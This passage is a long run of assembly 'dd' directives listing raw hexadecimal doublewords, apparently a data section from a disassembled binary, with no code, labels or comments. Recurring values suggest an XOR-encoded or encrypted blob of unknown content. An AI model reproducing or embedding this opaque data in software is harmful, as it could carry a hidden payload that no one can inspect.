		dd 7B9F8222h, 40DDCD01h, 6E0D9F26h, 5374B45Bh, 0B31410DDh
		dd 48204225h, 624A14D2h, 0D97EEEFCh, 66382642h,	3FBF6E0h
		dd 0B9753E4Fh, 22FC31BFh, 54156622h, 0BCDAAA25h, 9DF7DAA8h
		dd 0B1CCAF7h, 6C078E4Dh, 32048F70h, 71916688h, 0B6F4CB60h
		dd 2C62CCA4h, 275B857Dh, 0B32CAE90h, 8F634F83h,	41D2E71Fh
		dd 33349A14h, 41FAE77Fh, 0B3349A41h, 8F634FCDh,	0DE949A2Ch
		dd 3215668Ch, 693152CDh, 3212E72Dh, 0B9756611h,	31C5E67Fh
		dd 2DAA3125h, 0B33C745Bh, 202C79E6h, 4DFEE7A1h,	33243915h
		dd 4DD6E7D9h, 6D243940h, 32156861h, 85B49F44h, 12F0B065h
		dd 9D41553Ch, 904DDBDh,	0E30937F9h, 73976925h, 3D156611h
		dd 3215690Fh, 3AFC0644h, 39156622h, 573B4142h, 5383244Fh
		dd 0B41A9D7Fh, 32156608h, 320BE81Eh, 0B81A6688h, 3215665Ch
		dd 321575CBh, 709CF311h, 9BFB3B30h, 0CFDA77BDh,	1864E1CBh
		dd 8E6790F8h, 0CDFDE461h, 8F9E9EBBh, 35C47EEBh,	4390A1E8h
		dd 3212B7ACh, 52156644h, 329B6973h, 6B156611h, 53DCD987h
		dd 321560ADh, 8B2F3122h, 526545BAh, 0FFA0EF70h,	3D12B765h
		dd 321567A4h, 0AF989311h, 35CCCB2Dh, 0DBC699BCh, 3215662Fh
		dd 252B5995h, 50369BB1h, 2D0F0749h, 3DD56DA2h, 32153F95h
		dd 0B9730688h, 379269B6h, 54156622h, 9441B890h,	35FD06E9h
		dd 26156644h, 1BBE6977h, 22FC8832h, 82156688h, 0D0A6833Fh
		dd 0E1755CAEh, 7364CAEAh, 6D35BD2Ah, 98FC07BCh,	3D156622h
		dd 32157F91h, 32018F88h, 229B6644h, 0E16C1C84h,	285A5033h
		dd 4EE112F5h, 188E622Ah, 0AF98D159h, 35C3DD4Eh,	32157661h
		dd 0AA090D44h, 21AAD779h, 8BB27B73h, 304D1896h,	3DC6990Eh
		dd 0CDEA32A1h, 879E9EEEh, 35C44745h, 43A0EFB8h,	5212B706h
		dd 0DB4219A3h, 32156686h, 0F28CFBD9h, 0B9E2703Dh, 0A3EB4DD5h
		dd 534EA738h, 0EF56FBC9h, 0B61A61F5h, 3215660Bh, 0E29400E8h
		dd 3CFCCC56h, 0A8156622h, 8E966207h, 0EB89077Fh, 0B6B14D7Eh
		dd 3D750739h, 0CD7490A6h, 321A8F5Bh, 2C776644h,	0FA7CC033h
		dd 7684CCC1h, 0E7CB3D17h, 6390ED26h, 0CA12B73Eh, 13D8E398h
		dd 0B41A6159h, 3215664Ah, 32156FCBh, 0FB716111h, 2F9E58C3h
		dd 0DB748352h, 32156633h, 81C39B7Bh, 0DABBB52Dh, 6FE87D2Fh
		dd 5412F063h, 0DA2BE6B9h, 32CAE387h, 34FC6644h,	82156622h
		dd 0EE8BAF40h, 8D73061Fh, 0ED9E1F4Dh, 4BA8E543h, 3212B709h
		dd 32AAE287h, 60EC6644h, 0E29D8F90h, 0B331729Ah, 3215624Ch
		dd 3DBF9A44h, 321579A8h, 0B3730611h, 0DAFAE268h, 32156656h
		dd 67160C10h, 8D7C4175h, 0C8D9B793h, 0C8532BB2h, 534E6DEAh
		dd 320D8B79h, 1621EF88h, 253152C5h, 6A41FD0Bh, 0A93C7124h
		dd 339F69DCh, 0CB156644h, 2E56700Fh, 681E6365h,	0CA3C0CA5h
		dd 1F4F6D69h, 71036348h, 23FC120Dh, 0E1156688h,	10B7F8B3h
		dd 5F40E40Dh, 0D61252BEh
		dd 84EAA033h, 3201E72Ch, 1621EF22h, 321562AFh, 6CE54F88h
		dd 32138F24h, 56A76622h, 4A9606DBh, 32157761h, 3FD30F44h
		dd 1F51C9DFh, 0F0BA6D5Eh, 0C866E234h, 99747637h, 3214E22Dh
		dd 0DBEC6611h, 32156779h, 0B188EBBCh, 0DB12BFB6h, 32156616h
		dd 0C956CF80h, 0CD3D69F8h, 321C8FF1h, 0C7576611h, 2F5D53A2h
		dd 0BF2A8F81h, 0EBBC39BFh, 339E6916h, 0C7156688h, 3DE9B5BBh
		dd 321570A1h, 6B440611h, 32156B61h, 4E6A4544h, 0EB13C569h
		dd 4CC47B6Dh, 39747EA1h, 24906984h, 3D156622h, 32156795h
		dd 9FC9A88h, 52156644h,	0FFCBE744h, 0EDAA69C3h,	0FF90E5E9h
		dd 3712B765h, 6AE93642h, 53DDED77h, 3214E587h, 0DBEC6644h
		dd 0CDEA98B3h, 3205EB1Eh, 39FC6688h, 94156644h,	0DBBAFEF2h
		dd 3FF6A710h, 0AF986830h, 35CCCD03h, 52C699DAh,	3214EA1Eh
		dd 0DBEC6688h, 32156643h, 24AC89BBh, 537B2D88h,	7E9ED8E8h
		dd 0E1946EF2h, 76FCBCF3h, 3DD56D70h, 3215780Dh,	32068F44h
		dd 89B66622h, 97630626h, 0C7AF9F0h, 0E06E0103h,	0D55FD88h
		dd 32378F8Bh, 67E06688h, 321562F9h, 0B9FF6722h,	0F696423Dh
		dd 0DBEC9F8Ch, 321566A9h, 321561CBh, 0CE36B111h, 0E1CD1A76h
		dd 894AFBC9h, 547561F4h, 5274F3AAh, 68429C02h, 0E1EA0725h
		dd 320FE52Dh, 87756611h, 0B9749F47h, 0E334ABF1h, 88730625h
		dd 851A5392h, 0F0FC074Bh, 0CB156668h, 13D8EBA9h, 8A7561C0h
		dd 1DADB2E7h, 0BB74D2F7h, 0E334AB97h, 0F3949A16h, 33766FB7h
		dd 8C43976Dh, 5FEA1F57h, 7C1180D0h, 0AC659009h,	0C33CB8D0h
		dd 0B973067Ch, 0EC9E00E6h, 3D7506E9h, 321566C2h, 534D3722h
		dd 6CA3D147h, 0C3922FE9h, 0C392B0B3h, 32156FCBh, 34FBC11h
		dd 371423B7h, 8A45FD8Fh, 61B655ADh, 2B2DFF14h, 6AD3679Dh
		dd 0DC94A86Dh, 5AA90A0Ah, 321577F8h, 73CEEF88h,	62D2F520h
		dd 0A672FC62h, 5201596Bh, 96E6AAE5h, 0B84406B1h, 3EFD38D2h
		dd 30156611h, 0B8B404A7h, 0FB77E140h, 523628ABh, 0DB743970h
		dd 0CDEA9BA1h, 4C88EBB1h, 0DB12B1FDh, 32156601h, 9F040115h
		dd 7B5BA9C8h, 0F891939Eh, 2FBA8A11h, 65E0B577h,	0C23162C5h
		dd 6A37824Bh, 0F5AD946h, 0FD941A6Bh, 51277490h,	520E91A3h
		dd 0D5943465h, 15400541h, 1425A1C5h, 0CA3C9BFDh, 3593694Eh
		dd 3D156688h, 321567C1h, 0B73E9322h, 35C47ED8h,	32157661h
		dd 0D2D4CA44h, 7FB93101h, 0C000AE85h, 0CE42D540h, 5390EF96h
		dd 0DB12B735h, 32156619h, 1BCAD538h, 0FC21FE2Bh, 2ADCE3A9h
		dd 21FC61C0h, 0C7156688h, 0F2CF5CEAh, 0CE170434h, 2CF6DA3Eh
		dd 7E5FC068h, 26FC51BFh, 78156622h, 0EE4D6ECAh,	889BEF81h
		dd 0ECEF822Ch, 0AF45DC04h, 5A90453Fh, 32153C95h, 52315ACDh
		dd 0FFCFE744h, 32138F81h, 0D2526688h, 6293FC6Dh, 0D59C3143h
		dd 3211A190h, 0DD946688h, 32156640h, 6E315AA5h,	52316298h
		dd 3214EC87h, 0DBE96644h, 32156636h, 9C77AC8Fh,	0C80066E1h
		dd 76DC01C1h, 0DC879AB5h, 826EDB61h, 0BF989EE9h, 35C287A8h
		dd 0CBC499DEh, 2564E39Ah, 54756159h, 0D0B697C5h, 37FC07DEh
		dd 0EF156611h, 0C229F2Fh, 32539C2Ch, 1611EF22h,	321563F8h
		dd 0FFF488h, 0AA7D3725h, 0BB156656h, 23FC422Dh,	6D156688h
		dd 59EAE3Eh, 955BA312h,	4D3EB5C1h, 1A003Ch, 2ADCE3CFh
		dd 0BE1A61F3h, 3215661Dh, 3213E787h, 0B71A6644h, 32156622h
		dd 73E3E771h, 6043642Eh, 6AE7D14Bh, 0D59C3143h,	3211A190h
		dd 0DD946688h, 32156640h, 6E315AA5h, 0CA316298h, 0D12DEB05h
		dd 0DB756193h, 32156636h, 0E27ED9E8h, 8DB875Fh,	3DBE033Eh
		dd 2D560B83h, 7BAAC162h, 53C2EDEEh, 5AE9B7BBh, 32151220h
		dd 0BB315A98h, 6DEFEF4Fh, 321572ADh, 4F04F122h,	71BB3A68h
		dd 833F8F5Eh, 0BB7591Ch, 4D4F76F0h, 0F59C313Ch,	0C74A3FDFh
		dd 2564EB6Fh, 0BE1A61F3h, 3215661Bh, 32156361h,	0F41F0E44h
		dd 8F96064Ah, 35C47220h, 0AF916988h, 0CA156644h, 320E3A9h
		dd 0BF1A61C0h, 32156680h, 32986924h, 53156622h,	2624E33Ah
		dd 0DBEC6159h, 3215664Fh, 0E424B554h, 7D5B5B8Eh, 910CF2Ah
		dd 5B936985h, 3D156622h, 32157392h, 32058F88h, 0CC816644h
		dd 0DB1C9AE6h, 0D21BCB3Ah, 1A2343FEh, 0B79E83DDh, 35C47F57h
		dd 321AE71Eh, 38FC6688h, 79156644h, 0D9EE96B8h,	0B8BD7963h
		dd 39065DDh, 0DB12B750h, 32156627h, 99CA0367h, 7790EFD1h
		dd 5212B752h, 0B8DCD12Dh, 4CFC07DBh, 52156689h,	3210E04Bh
		dd 0B3736622h, 54F271DBh, 539A1F37h, 0B3F6EF17h, 321562E1h
		dd 36FEE711h, 0B5156688h, 0BB494258h, 63E9422Eh, 0B331629Ah
		dd 3215624Ch, 7D829A44h, 6D4D3172h, 0CDAC37E9h,	3B156687h
		dd 1619ED8Ch, 5211A2A1h, 0A1408E90h, 0BF1A7906h, 32156646h
		dd 0C7743393h, 3214DB44h, 0DA146688h, 0B11A9E19h, 32156623h
		dd 790EFEDh, 3D12B7B9h,	32156ECAh, 30926922h, 52156611h
		dd 2F9067E9h, 0C712B777h, 2624E3E5h, 321561C0h,	0CE756688h
		dd 527443F4h, 3217EC2Dh, 0FFA46611h, 32156860h,	0F539EC44h
		dd 3A099DC1h, 690E9FD2h, 0B3C9DDA2h, 1364BB87h,	58743E72h
		dd 321B8F51h, 549E6688h, 7D97BF50h, 365F414h, 25D87064h
		dd 320566E0h, 3A946944h, 52156622h, 3215EA1Eh, 3D746688h
		dd 321567CFh, 0BB479A22h, 36D7E7F3h, 0B3156688h, 321562AEh
		dd 1601E122h, 1619EF4Dh, 327F07E8h, 3203E94Bh, 0DB756622h
		dd 3215661Ch, 7794851Dh, 767DF17h, 38533B02h, 53740665h
		dd 27A0F377h, 54756195h, 0DB28999Dh, 3215661Ah,	9C71B07Ch
		dd 314C5FBFh, 536084F0h, 2200F3EEh, 0B61A6159h,	32156645h
		dd 4790EFDEh, 0C712B708h, 2450E301h, 3BFC6195h,	3A156622h
		dd 9D98E74Ah, 4D676DDCh, 62316ACFh, 361086ABh, 37156611h
		dd 3215668Ch, 6E3162C3h, 0F4940042h, 0E79FB0C1h, 77A099E9h
		dd 0CA12B752h, 319C6942h, 3D156611h, 0F39FAF3Fh, 43A09925h
		dd 0DB12B735h, 32156605h, 0D958CBD0h, 903C7E58h, 9E5DC8D1h
		dd 63CF535Dh, 52B43EBBh, 37F5EF14h, 32156626h, 3215623Ch
		dd 1611E188h, 1629EF18h, 32156ACBh, 0E467E611h,	436F0892h
		dd 0D5BEFBE3h, 0FBA099AEh, 5212B709h, 3210EF87h, 0B3736644h
		dd 5355B6FBh, 0CF39E39Ch, 6575615Fh, 6DC3ED22h,	0CD743691h
		dd 321E8FC1h, 3B386688h, 75DFC3BCh, 81742291h, 39867AFh
		dd 3D12B79Ch, 321567CEh, 8F9E9322h, 35C47054h, 43A0ED70h
		dd 3D12B753h, 321567ADh, 96E69E11h, 0F7A0ED71h,	5212B761h
		dd 3DA6BCA2h, 32156496h, 53740688h, 3D9169E9h, 0DB156622h
		dd 3215661Bh, 0BFA89C55h, 0E3756E57h, 8B4491E9h, 536E10E2h
		dd 0C6FCE7C9h, 0BB741D32h, 3E9E9A6Ch, 36D1E535h, 8A7393E8h
		dd 5274DA43h, 3217E62Dh, 0C89E6611h, 320CEE87h,	26FC6644h
		dd 17156622h, 357AB884h, 0A955B171h, 0EC1B25E2h, 8A990EB0h
		dd 53F17A66h, 0DB10A649h, 32156641h, 1E4684DAh,	8A45354Fh
		dd 46353C40h, 2B02C0FFh, 6AD667DFh, 0DB4EBE10h,	32156698h
		dd 83E768Dh, 82963E17h,	116EE92h, 0E532D45Ah, 1F64E347h
		dd 0DB7561F3h, 32156617h, 27D58962h, 0BE1A197Eh, 32156624h
		dd 3215EC1Eh, 0B9746688h, 0E30323C9h, 0F19E0625h, 53EBD91Eh
		dd 61DEEFDBh, 3D4E66CBh, 32156AA3h, 34986911h, 3D156688h
		dd 321566C6h, 39FCCB22h, 0A7156611h, 0FE7DB4E9h, 7611B7E7h
		dd 0DE961B42h, 1619EF15h
		dd 32156631h, 0CE5BEF44h, 3392697Bh, 0CB156611h, 17D0D301h
		dd 0B3756195h, 7058F7F0h, 5027DC0Fh, 0B174111Ch, 0B71A99BCh
		dd 3215668Ah, 3212E21Eh, 0B71A6688h, 32156645h,	3E9269DAh
		dd 3D156611h, 32156000h, 32976944h, 0B3156622h,	0EFC8BB2Fh
		dd 4F906955h, 52156644h, 8F4007D7h, 7DAB3DF3h, 69F7604Fh
		dd 894629FAh, 32156622h, 19249510h, 0B3753BD3h,	844C38A6h
		dd 321D8F53h, 35CC6611h, 19B8D0BBh, 61743205h, 32156299h
		dd 0B9CB6711h, 0F6944294h, 32156640h, 0F7A0EFDAh, 5212B734h
		dd 32157460h, 0FABCA944h, 0DE4525B2h, 91C60ECEh, 998FCA06h
		dd 69EA414Eh, 0E0F28F43h, 23FC99EEh, 68156688h,	53F2A0B7h
		dd 296E78CEh, 0F876B0FCh, 0D20A5C3Dh, 0CE16A685h, 1F64E321h
		dd 3EFC61C0h, 59156688h, 182D7DCCh, 0EEE0C2D8h,	0B11CD425h
		dd 0E3279335h, 0B61A6743h, 321565B6h, 321568F8h, 993A188h
		dd 33C19D9Fh, 74C97924h, 0DB9B10BAh, 3215668Fh,	8AFAF46Bh
		dd 0B3831462h, 98BFCC2Fh, 9A906922h, 0CB156644h, 321569CBh
		dd 76436311h, 0E3914C52h, 4C427323h, 795B8775h,	0C0AD3642h
		dd 0C570F2A0h, 44E55394h, 153873A9h, 0F3371B1Dh, 0CE386168h
		dd 0BBA4ACAEh, 0EC143EE1h, 8D75064Ah, 67C567F3h, 0B974B7CFh
		dd 644507E3h, 0F82A3C79h, 0D4D438D9h, 18D3E747h, 0B3786567h
		dd 98D560D7h, 6CE5EF8Ch, 6AE920CDh, 3214EB2Dh, 3EC6611h
		dd 3D25770h, 60ED93BCh,	0F095A290h, 0B9C5EE34h,	0F694429Ch
		dd 32156640h, 321FE22Dh, 37FC6611h, 2F156688h, 65413D09h
		dd 32154ACBh, 32188F11h, 2FF6688h, 30887A9Ah, 0E41FBEBFh
		dd 62F78CB3h, 322CE8E0h, 1629EF44h, 63EC397Ah, 0DB951FA0h
		dd 0F89D3419h, 6B4FB6CCh, 0D49C30D7h, 3211A090h, 0DC946688h
		dd 32156640h, 6E3152A5h, 0CB316298h, 0BFA8E571h, 3312B751h
		dd 3376E22Dh, 0B81A6611h, 3215668Fh, 0F016DF24h, 0B1742F46h
		dd 0E9C62FDh, 5377D9ACh, 0ACAD7CD0h, 33F00DBDh,	23FC39E9h
		dd 43156688h, 6D290A35h, 2878A848h, 0A0068902h,	0E7AE0FC3h
		dd 1B9FDBC7h, 3D1561FBh, 32155F95h, 32078F88h, 17CE6644h
		dd 0EA41683Bh, 0F28E4CAAh, 80F1C89h, 6AE06EAAh,	202CFBAFh
		dd 3CFC61C9h, 8D156688h, 3F8EACFh, 462B2C0Ah, 4878482Eh
		dd 52C69976h, 0B973A9CFh, 0D9507FAh, 76916981h,	3D156688h
		dd 32156EC0h, 309E6922h, 52156611h, 37AB30E9h, 33156644h
		dd 1621EDD5h, 0DB11A292h, 3215669Ch, 6A7EC11Bh,	70827C4Bh
		dd 59C36D7h, 3427A7C6h,	698725CEh, 3214A5CBh, 32108F11h
		dd 0F5536688h, 0B1537F29h, 0B01A36DAh, 32156680h, 8744357Dh
		dd 1AF0D5F5h, 0F6A53FC9h, 524EBE39h, 3218E287h,	35FD6644h
		dd 0AA156622h, 0DC506C80h, 544BAAA9h, 9874A1CFh, 21956942h
		dd 0DB156611h, 32156686h, 4770A2E9h, 4DC708C0h,	0FDCEB904h
		dd 0DB95FD2Fh, 369E07E8h, 0D59C3106h, 3211A190h, 0F5966688h
		dd 1629E140h, 3395697Eh, 0C7156611h, 0EC9E0622h, 32156BACh
		dd 176F9C22h, 807AC593h, 0A060F36Ah, 0E0943D89h, 6ECDEB58h
		dd 81FC074Eh, 0DB156688h, 3215664Dh, 473C23F5h,	2D55DDEFh
		dd 1621991Eh, 36D1E71Ch, 0C7156622h, 4D9593BBh,	0B71A8F77h
		dd 321566CAh, 321FE52Dh, 60756611h, 329B69D2h, 53156644h
		dd 1B9FDBA1h, 3D1561C8h, 32152E0Ch, 2B996944h, 0DB156622h
		dd 32156605h, 0DA6DEEDAh, 11CA0BC1h, 811B5826h,	0A08B814Ch
		dd 0F44773A0h, 22FAFBC9h, 0CDE061FAh, 83AC06C2h, 0DB5C43F8h
		dd 32156650h, 4E183937h, 55E0D760h, 0CD71CBB1h,	954272C0h
		dd 0CE1AB6F1h, 1DAE3570h, 796BE3F4h, 0B1C3A5C5h, 0C914E758h
		dd 3D4E6599h, 32157702h, 32198F44h, 7A866622h, 1FE29E0Ah
		dd 0DA1904F8h, 0B79EA00Dh, 35C47067h, 321569F8h, 0AD3BE788h
		dd 0B3E46CC1h, 3B299069h, 0D68B0738h, 8024ABA5h, 65ED4F67h
		dd 814FF69Dh, 0D5942175h, 495F43D8h, 240F91C5h,	0DD942C55h
		dd 10463889h, 6DFFA909h, 0F59403BEh, 87A357F1h,	524A9E10h
		dd 0B61ABA02h, 32156642h, 3215E52Dh, 0CE746611h, 3211D8DEh
		dd 0C23C6644h, 0B33152A9h, 321562D5h, 54E00688h, 536547FAh
		dd 33906989h, 0C7156611h, 359A6925h, 3D156644h,	321567A9h
		dd 52759311h, 32156F61h, 0C552A844h, 410F2BA0h,	0B91A8721h
		dd 32156688h, 309C6925h, 62156622h, 8847074Fh, 7D6830D6h
		dd 6CE92083h, 1B5A1B74h, 269E9A47h, 36D1E5ACh, 32156CADh
		dd 38A39022h, 7D44F855h, 0DB2FE387h, 32156649h,	9D98E779h
		dd 4D676D45h, 0AA64A37Dh, 0C9038FD2h, 0B81A99DDh, 32156610h
		dd 0F7A0EF70h, 0C712B761h, 306A0EDBh, 269C6611h, 3EFC06ACh
		dd 0AC156644h, 0C06E2160h, 5160A2Fh, 0DB69CA10h, 32156641h
		dd 0EAD024C6h, 0BC1A07B3h, 32156684h, 3213E84Bh, 0BA1A6622h
		dd 32156611h, 329566E0h, 3A9F6944h, 3D156622h, 32156497h
		dd 0DB740688h, 32156643h, 0FD05CB0Fh, 5897D393h, 32018F88h
		dd 0F6496644h, 75EA7B88h, 646B92BFh, 974F10A7h,	0E24EAF10h
		dd 87EA0C45h, 35C475BCh, 32156D61h, 3DD87844h, 130BD431h
		dd 42F1080Dh, 4CF377h, 3DFC6195h, 68156622h, 62268F70h
		dd 24A34CF4h, 0DFB9118Ch, 6EA9A73h, 0F6963C35h,	3595698Ch
		dd 52156644h, 52DAD12Dh, 0BF9E0770h, 35C46341h,	32198E24h
		dd 782E6622h, 78DE885Eh, 0C7CE3BF7h, 0EEAE3C8Dh, 6A7C6CEAh
		dd 6274959Ah, 99564D30h, 2AA312Ah, 0F31A7422h, 0DD9462FEh
		dd 0A050BA50h, 1B4A5FCDh, 0DB753E23h, 32156616h, 0E3F5F92Bh
		dd 0DA26C00Fh, 32156636h, 0E4347EB5h, 0EACF4487h, 47103595h
		dd 0D88B5A0h, 246F3300h, 534F3CDFh, 3211D812h, 0C3146622h
		dd 0B331529Ah, 3215624Ch, 54EC0644h, 53991F9Bh,	321561F8h
		dd 4B91F488h, 1753A831h, 37DCEBABh, 21FC61C0h, 0E9156688h
		dd 0E23F8828h, 0F39DE7FEh, 25900CB5h, 8FD1A38Eh, 3EFC9723h
		dd 52EA99E7h, 3213EE1Eh, 0B31A6688h, 32156644h,	0DB742795h
		dd 32154F8Fh, 32157761h, 1E131A44h, 0A3941121h,	0ADD7DE40h
		dd 17471C81h, 0CB75A36Eh, 37DCEBA9h, 0CDED61C0h, 1619EDB9h
		dd 3D11A2C7h, 321569A8h, 321F8F11h, 6EBA6688h, 16F2F5C0h
		dd 153CE1F3h, 1B93EB98h, 0B11A6151h, 32156645h,	0A9493DAh
		dd 7E51325Fh, 32A4E387h, 54756644h, 0C7A1CA9Dh,	4A940070h
		dd 3D3B2A8Ch, 3215F8C1h, 2C9D6922h, 52156611h, 26FDA102h
		dd 4156644h, 8D10DBE0h,	0A6E76F16h, 3E02BD4Fh, 5F6E9E4Bh
		dd 69361167h, 36943670h, 0D5488EACh, 8847381Eh,	13AB0DCDh
		dd 0D8D4B4E6h, 30FFA78Ch, 69AD94C5h, 0E43C3FBCh, 321E8F4Bh
		dd 0B65C6688h, 724CC26Ah, 526FA12Fh, 8A459E02h,	3215668Eh
		dd 3443A0C5h, 0F4147A8Bh, 34438890h, 0CA4D7A21h, 2304E3CFh
		dd 547561F3h, 3CFD989Ah, 0D5156688h, 67A94F7Eh,	0D5F76265h
		dd 40CE22CCh, 534D9F27h, 3211F9ADh, 54750622h, 3DE959AFh
		dd 32156602h, 65740744h, 0BBD6EF71h, 0CC9C3DCEh, 32058FD7h
		dd 25346644h, 9C53920h,	0BFC7E2ACh, 31984B8Ah, 6246E4A2h
		dd 743152A3h, 69044074h, 57539509h, 0E89C7762h,	33916979h
		dd 0CA156611h, 5475AFB9h, 0DEB8A6C5h, 321576CAh, 0ABE8D911h
		dd 0D2051EE8h, 0E018CB5Ch, 2B7006BEh, 0F39E00DFh, 0CBB907D1h
		dd 3BFAE724h, 3D0AF05Bh, 0E7495AEh, 41916988h, 52156645h
		dd 73AB0042h, 0E19E00DDh
		dd 0E749EE9h, 0E5916969h, 3DEA99DDh, 32156C90h,	0B3730688h
		dd 3D48DD97h, 0E74AC9Dh, 0D091693Fh, 3D156688h,	32157FCCh
		dd 39FD0622h, 5E156611h, 0E058AC83h, 0B7BEED98h, 3D4D18ACh
		dd 3215669Dh, 2290788h,	3660E44Bh, 0DB756622h, 3215661Dh
		dd 64FB46D8h, 0F8AAF49Bh, 9FA7366Bh, 321563F8h,	13613E88h
		dd 0E7468DEh, 4193691Bh, 0DBEA99EEh, 32156681h,	4FAD69Bh
		dd 542A9A50h, 0E2940681h, 7F812B57h, 0FBDBE722h, 732907C1h
		dd 3638E41Eh, 0B41A6688h, 32156645h, 3D4F5AD7h,	0CDEA2797h
		dd 20FC9E77h, 0FA156644h, 67AC9AF6h, 0C5BF6043h, 0AC2C40E7h
		dd 654370C8h, 3D4A5A2Bh, 0CDEA4795h, 39FC0677h,	0D1156644h
		dd 12D9114Ah, 2E92681Bh, 0B373565Ch, 5343BE84h,	0B01A071Eh
		dd 321565CEh, 3214EC87h, 0EED6644h, 0C1936958h,	52EA99EFh
		dd 339B6971h, 0C7156644h, 31D48F43h, 0B21A6611h, 32156689h
		dd 0ACAC37BDh, 0B31D9343h, 302750F8h, 9FD4E7D5h, 0B3091209h
		dd 5E6081CBh, 0E3D4E734h, 1B486270h, 21FC3F8Eh,	41156622h
		dd 420D0BE5h, 4D7843AFh, 6BF8E202h, 6F48C77Dh, 0C02CB2F0h
		dd 316CE287h, 60E96644h, 0CD3162A3h, 68EA99EEh,	3211E587h
		dd 0CE756644h, 884707DEh, 0CDEA99EEh, 0CE4FB7A1h, 0CDEB1FADh
		dd 0FB9093DDh, 3158E21Eh, 3FFC6688h, 6B156644h,	3109024Eh
		dd 11C8B2F6h, 3C1B958Ah, 148D3C9h, 62ED61F3h, 0F39CB698h
		dd 0B3316203h, 32156280h, 8D1A0622h, 321B8FDAh,	653B6688h
		dd 728509D5h, 69A798F8h, 0B95FC9F2h, 6B4737E9h,	3D4CA9CDh
		dd 321567ABh, 0B81A9E11h, 32156690h, 32188F24h,	6F8B6622h
		dd 29D0B135h, 0EB9C5CCFh, 5442CD29h, 532F579Bh,	6394D443h
		dd 0DA9DC93Dh, 68C5561Dh, 47BB93DEh, 32138FECh,	3AC76688h
		dd 0D1AB546Dh, 321C8F42h, 0ED736611h, 2A352CAAh, 64D103A9h
		dd 534B0742h, 66A0DC43h, 0E0E269FAh, 0E24A94C5h, 0E314C928h
		dd 0B3EC4F4Bh, 0B56E7361h, 321E8F1Bh, 63EE6622h, 0B1E514F3h
		dd 92DC8DC0h, 32150EF7h, 1E946622h, 63268C35h, 16194FB0h
		dd 0D83162C5h, 6B2D3711h, 1AD2E7EDh, 0B3260A91h, 287644ABh
		dd 0B3DA4F7Ah, 287644D6h, 1AFAE7D0h, 0CE260A5Dh, 0CC249113h
		dd 0BF1A9120h, 32156691h, 321572ADh, 3A05F622h,	0E01F0A66h
		dd 0C55CAD4Bh, 0E6BB0180h, 0DEFDBFA8h, 0CBB195C6h, 82453470h
		dd 1ADBD0E8h, 75D33EE4h, 452544EEh, 0DA753C77h,	3215664Ch
		dd 60B0B6ABh, 0E9A013E7h, 32156D60h, 0DCFDDD44h, 61441C6Ch
		dd 5810C094h, 0DEAD38D1h, 5330033Dh, 148F3AFh, 3FFC61C0h
		dd 0BB156688h, 0A03DCFABh, 0DE23E7E0h, 0B8011F94h, 137CE303h
		dd 0BA1A6195h, 32156628h, 0EDF5DF71h, 0B97301ADh, 0F290079Eh
		dd 324BE32Dh, 0B01A6611h, 32156689h, 32108FB8h,	7C1E6622h
		dd 0F4A3E85Ch, 0E324D30Dh, 5AED2143h, 0E68FC1F0h, 321569F8h
		dd 1038CF88h, 9E6041C4h, 0C7E04949h, 0C25172D2h, 3A24D377h
		dd 22FC6195h, 5D156622h, 701C51EBh, 23DE0DB0h, 7372EB0Dh
		dd 0BF78CBDAh, 0E6B38C94h, 0CDE9938Fh, 33916994h, 0CE156622h
		dd 32794E79h, 1601EF88h, 3DC599B8h, 321569A2h, 321F8F11h
		dd 44F26688h, 91FC97A6h, 91C98CFEh, 0B71AA694h,	3215661Ch
		dd 9F90EDB8h, 0CB12B710h, 0B71AA694h, 321566DFh, 0B7D39AB8h
		dd 35C45797h, 0DB7D935Dh, 0CECCBC94h, 3A24D3BBh, 26FC61F3h
		dd 0DA156611h, 0F71DDDAh, 6253F5F1h, 7F7C832Bh,	82640BFEh
		dd 0BF015769h, 0E6B38CC1h, 33916925h, 0CE156611h, 26FCB677h
		dd 0D9156644h, 3E71FAD4h, 0AE8E803Bh, 1F070C53h, 14CE3E59h
		dd 624B5A7Fh, 36108698h, 1F156688h, 32156640h, 6E3162A5h
		dd 0CA317298h, 0B7E0B677h, 3F906984h, 3D156622h, 32156792h
		dd 9AFC9F88h, 0C7156644h, 1B93E3ABh, 3EFC61C8h,	0BD156688h
		dd 6A7F5F8Eh, 0B605DA6Ch, 642A5216h, 0F4948001h, 32156640h
		dd 0B51188A1h, 0BB494225h, 26FC428Ch, 25156644h, 8A919522h
		dd 8CCB242Eh, 0BE07C57Fh, 0BB9E0C0Eh, 5AE3A28Ah, 3215493Bh
		dd 0C7315201h, 3219E44Bh, 0B71A6622h, 32156617h, 3215E187h
		dd 0B7986644h, 35C1C653h, 3214E81Eh, 0CDE06688h, 0F21E9E94h
		dd 3236E32Dh, 0DB756611h, 3215669Ch, 594F72CDh,	0C56F7A0Fh
		dd 0BE0AD2Eh, 2D23948Bh, 1881F148h, 0DB743E74h,	3215661Eh
		dd 1651EF74h, 52750658h, 50AD0043h, 53740740h, 3219EB87h
		dd 0B61A6644h, 32156624h, 3215EB1Eh, 0DBD66688h, 3215664Ah
		dd 22D5E219h, 0F61D61C9h, 221AD25Eh, 5275C9B5h,	549F83A2h
		dd 533EDBAEh, 319769E8h, 54156644h, 0FC9FBCA9h,	0B498ED70h
		dd 0CE12BFA1h, 3258992Ch, 1611EF22h, 8F4037E4h,	518E4E65h
		dd 36310A75h, 0DF203E7Fh, 5276FD39h, 0CB9E8102h, 0EAC3725h
		dd 0B3156622h, 0A2210ED0h, 0B3D4678Eh, 0A2210EADh, 6B146524h
		dd 339B69EDh, 0CB156688h, 329DD6BBh, 269E6622h,	36D1E535h
		dd 0BAAE00E8h, 0A79C07B4h, 35C44703h, 321E8E71h, 122A6688h
		dd 29553183h, 616F2652h, 329769F5h, 6B156688h, 8D1A9F24h
		dd 647407DDh, 1800DD42h, 0B3561F07h, 0A572D8B7h, 69CBEF3Dh
		dd 6A7BA090h, 0F4941071h, 4AA50D2Dh, 57C680A3h,	0DC945D9Ch
		dd 239566D3h, 3D4B9645h, 321577A0h, 32198F11h, 66096688h
		dd 0D341FBA2h, 94EF7A8Fh, 42EA715Dh, 9CAA3184h,	330E3312h
		dd 6D11425Eh, 9CFFE74Bh, 3D0E33DEh, 32156BCEh, 321D8F22h
		dd 0BFD46611h, 0F01F9AE7h, 0A79C4F8Dh, 35C44A3Bh, 321572F8h
		dd 6D263888h, 0D3FC299Fh, 0C62AFC0Ah, 7C359648h, 0FD36FEDCh
		dd 321D8F9Bh, 0BF126622h, 0B1BC274h, 6EA1AFEh, 0F6963E60h
		dd 20FC0626h, 6B156611h, 5B0FC577h, 0B1AB5B0h, 0B4393D67h
